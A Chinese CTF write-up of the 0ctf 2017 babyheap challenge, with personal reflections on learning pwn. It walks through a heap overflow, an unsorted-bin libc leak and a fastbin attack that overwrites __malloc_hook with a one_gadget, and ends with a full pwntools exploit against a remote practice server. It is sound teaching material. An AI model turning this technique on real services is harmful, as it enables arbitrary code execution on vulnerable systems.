100days_0ctf_babyheap

前言

我把这道pwn题归到我的个人感悟这个类别中,且标题前面是100days

没错可能已经有读者能猜到,这道题是我100天前入门堆利用的第一道题,在8月的最后一天,在公司实习无聊时,再次做了一下100天前让自己无从下手,望而生畏的堆题,第一次做的时候真的是打击信心,险些想放弃学习pwn,但是现在再看,轻舟已过万重山,这题做起来已经非常得心应手了,属于一眼出思路,而且我又把当时参考的wp拿出来看了一下,甚至觉得自己写的这份exp更简单粗暴,从一开始对着wp都一知半解,到自己流畅地独立完成getshell,中间相隔100来天,挺多感慨,坚持不断的pwn学习不仅让我有技术层面的进步,还让我找到了一份不错的实习机会,伙食补贴,交通补贴,每周还有两次下午的盒装水果,且薪资甚至高出不少大厂的日薪,算是第一次真的意义上感受到学习带给自己的好处,如果现在的你迷茫不知所措,请停止焦虑,静下心来,你只管坚持,终会有一天你会和我一样看到坚持下来的意义,可能不是100天,只要50天,也可能200天,但是不管多久,总有这么一天

再探0ctf_babyheap

先放两个当初我参考的wp,当时参考了也还是懵懵懂懂的

https://cloud.tencent.com/developer/article/1764339

https://blog.csdn.net/mcmuyanga/article/details/108360375

看这道题的wp的师傅们大多数应该都是处于入门水平,所以这里我自己的wp我会解释的详细一点,每一步带着进行调试

检查保护

第一步还是先看一下保护开了哪些

1

全绿,如果没记错,这也是我当初第一次做的保护全开的pwn,

第一次看到这个全绿的场景多多少少是有点发怵的,但是不用怕,因为对于堆利用来说,其实影响是不太大的,魔高一尺道高一丈,我们会有许多的手段来应对

本地调试

2

本地来看的话是四个有用的功能,功能还是很齐全的

IDA静态分析

add():

3

add创建chunk功能对应choice:1,没什么特别的,只不过这里用的calloc去申请chunk,其特性为:在申请时会清空数据,还有关于tcache的申请特性这里先不介绍了,因为这里的ubuntu环境是16.04没有引用tcache,感兴趣的师傅可自行百度,不过这里calloc无太大影响

自动化交互函数:

1
2
3
def add(size):
io.sendlineafter('Command:',str(1))
io.sendlineafter('Size:',str(size))

fill():

5

再看fill功能对应choice :2,这里问题就很大了,也是本题漏洞点,首先会让我们输入index,也就是选择相应chunk,然后让我们输入size,并且后续我们可以输入的content大小就是根据我们这里输入的size决定的,那么就造成了堆溢出,比如我们先使用1创建了0x10size的chunk,这里我们重新输入size0x20,那么就可以溢出到下个chunk,修改其presize,size,fd,bk指针等重要字段,这里注意我们输入size是多少,我们就要填充对应的大小的内容,否则不会break

自动化交互函数:

1
2
3
4
5
6
def fill(index,size,content):
io.sendlineafter('Command:',str(2))
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Content:',content)

free():

free功能对应choice :3,正常的free且指针置0了不存在UAF

6

自动化交互函数:

1
2
3
def free(index):
io.sendlineafter('Command:',str(3))
io.sendlineafter('Index:',str(index))

show():

show打印功能对应choice:4,打印我们chunk的内容

7

自动化交互函数:

1
2
3
def show(index):
io.sendlineafter('Command:',str(4))
io.sendlineafter('Index:',str(index))

思路整理

首先IDA静态分析下来我们可以发现漏洞位于fill()模块,能造成堆溢出,那么我们可以用这个堆溢出做些什么呢,

我们先想一下我们最终要达到怎样的利用效果,这里保护是全部开启的,我们无法攻击got表,一般我们可以选择攻击hook函数,也就是钩子函数,这个东西是什么,我们gdb调试看一下

8

我们看到glibc2.23-64位下位于&main_arena-0x10的位置,如果malloc_hook里有值,我们调用malloc时会拦截该调用并执行我们自定义的代码,如果我们这个地方放上one_gadget,或者我们构造的shellcode的地址当然这里NX开启不能执行,我们选择one_gadget,再去申请堆块时就实现了getshell,这里用calloc调用同样会触发

我们可以用工具one_gadget去查找libc中合适的地址

9

我们得到的只是静态地址,无法直接使用,我们还需要得到libc的加载基地址,那么如何去获取这个基址,在堆利用中我们通常借助unsortedbin去泄露libc因为unsortedbin 有一个特性,就是如果 unsortedbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58

10

还记得上面malloc_hook在哪吗?,&main_arena-0x10,那么如果我们得到了这个main_arena+88的地址,我们的libc基址就可以表示为

1
libc_addr = addr - 88 -0x10 - libc.sym['__malloc_hook']

如果有UAF就很简单了,直接释放一个chunk进unsortedbin中再打印出来即可,但是这里我们是没有UAF可以利用的,我们只有一个堆溢出,释放了的chunk就不能使用show了,那有没有什么办法可以让一个没有释放的chunk也能存在这个地址呢,也就是我们没有释放这个chunk,但是它却在unsortedbin中

假设我们现在创建了3个chunk,如果我们chunk0,chunk1,chunk2,如果释放chunk0,可以连带着chunk1进入unsortedbin的话,相当于chunk1的指针还是存在的,我们还可以使用,那么该怎么做,我们可以利用堆溢出修改chunk的size位,把它的size改大,直到包含住下一个chunk不就可以了吗

我们先创建四个chunk

1
2
3
4
add(0x60)  #0         
add(0x60) #1
add(0x60) #2
add(0x60) #3

第四个chunk用来防止free时和topchunk合并

那么我们现在去填充0,溢出到1的size位

1
fill(0,0x70,b'a'*(0x60)+p64(0)+p64(0x70+0x71))

11

可以看到,chunk1的size成功被我们修改为了0xe1,此时再去释放chunk1就会连带chunk2也给放进unsortedbin

1
free(1)

12

如果我们再把chunk1申请出来,那么chunk2的fd和bk指针就指向unsortedbin了,且chunk2的malloc指针也是存在的,我们可以对其进行打印

1
2
3
4
5
6
7
add(0x60)  #1   

show(2)
libc_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 -0x10-libc.sym['__malloc_hook']
success('libc_addr'+hex(libc_addr))

one = 0x4526a + libc_addr

13

那么第一步泄露地址就完成了,接下来要攻击malloc_hook,这里选择fastbin_attack,伪造malloc_hook附近的地址为一个fastbin申请过来就可以修改malloc_hook了,可以看到我上面申请的chunk的都是0x60,free后就进了0x70的fastbin,这是一个小技巧,因为像0x7f这样的值我们比较容易找到,方便我们去伪造

通常64位malloc_hook-0x23的位置就是适合我们去伪造fastbin的位置

14

这里可以被当成一个0x70的chunk

我们先把chunk2申请回来此时再申请的相当于chunk4,再放进fastbin,注意此时有两个指针指向了同一块地址,chunk2和chunk4指向的同一块地址修改2,对应chunk4的内容也是跟着一起修改的

1
2
add(0x60)  #4       *2,4 -> 2  
free(4)

15

我们直接修改chunk2的fd,对应被放进fastbin的chunk4的fd也会跟着修改

16

我们再申请两次就可以申请到我们想要的地址了

1
2
add(0x60)  #4   
add(0x60) #5

这里的chunk5就是我们的目标chunk,malloc_hook-0x23的位置,但是由于会用0x10来提供给presize和size位,其实我们是从malloc_hook-0x13的位置开始编辑的

1
2
payload = b'a'*(0x13)+p64(one)
fill(5,len(payload),payload)

17

这个时候malloc_hook就已经被我们填入了one_gadget再add一次就getshell了

全部exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# encoding=utf-8
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')


io = remote('node4.buuoj.cn',27787)
#io = process('./babyheap_0ctf_2017')
elf = ELF('./babyheap_0ctf_2017')
libc = ELF('./libc-2.23-64.so')

def add(size):
io.sendlineafter('Command:',str(1))
io.sendlineafter('Size:',str(size))


def fill(index,size,content):
io.sendlineafter('Command:',str(2))
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size:',str(size))
io.sendafter('Content:',content)


def free(index):
io.sendlineafter('Command:',str(3))
io.sendlineafter('Index:',str(index))

def show(index):
io.sendlineafter('Command:',str(4))
io.sendlineafter('Index:',str(index))


add(0x60) #0
add(0x60) #1
add(0x60) #2
add(0x60) #3

fill(0,0x70,b'a'*(0x60)+p64(0)+p64(0x70+0x71))

free(1)


add(0x60) #1

show(2)
libc_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 -0x10-libc.sym['__malloc_hook']
success('libc_addr'+hex(libc_addr))
one = 0x4526a + libc_addr

add(0x60) #4 *2,4 -> 2
free(4)
fill(2,8,p64(libc.sym['__malloc_hook']+libc_addr-0x23))

add(0x60) #4
add(0x60) #5

payload = b'a'*(0x13)+p64(one)
fill(5,len(payload),payload)

add(0x60)

io.interactive()

18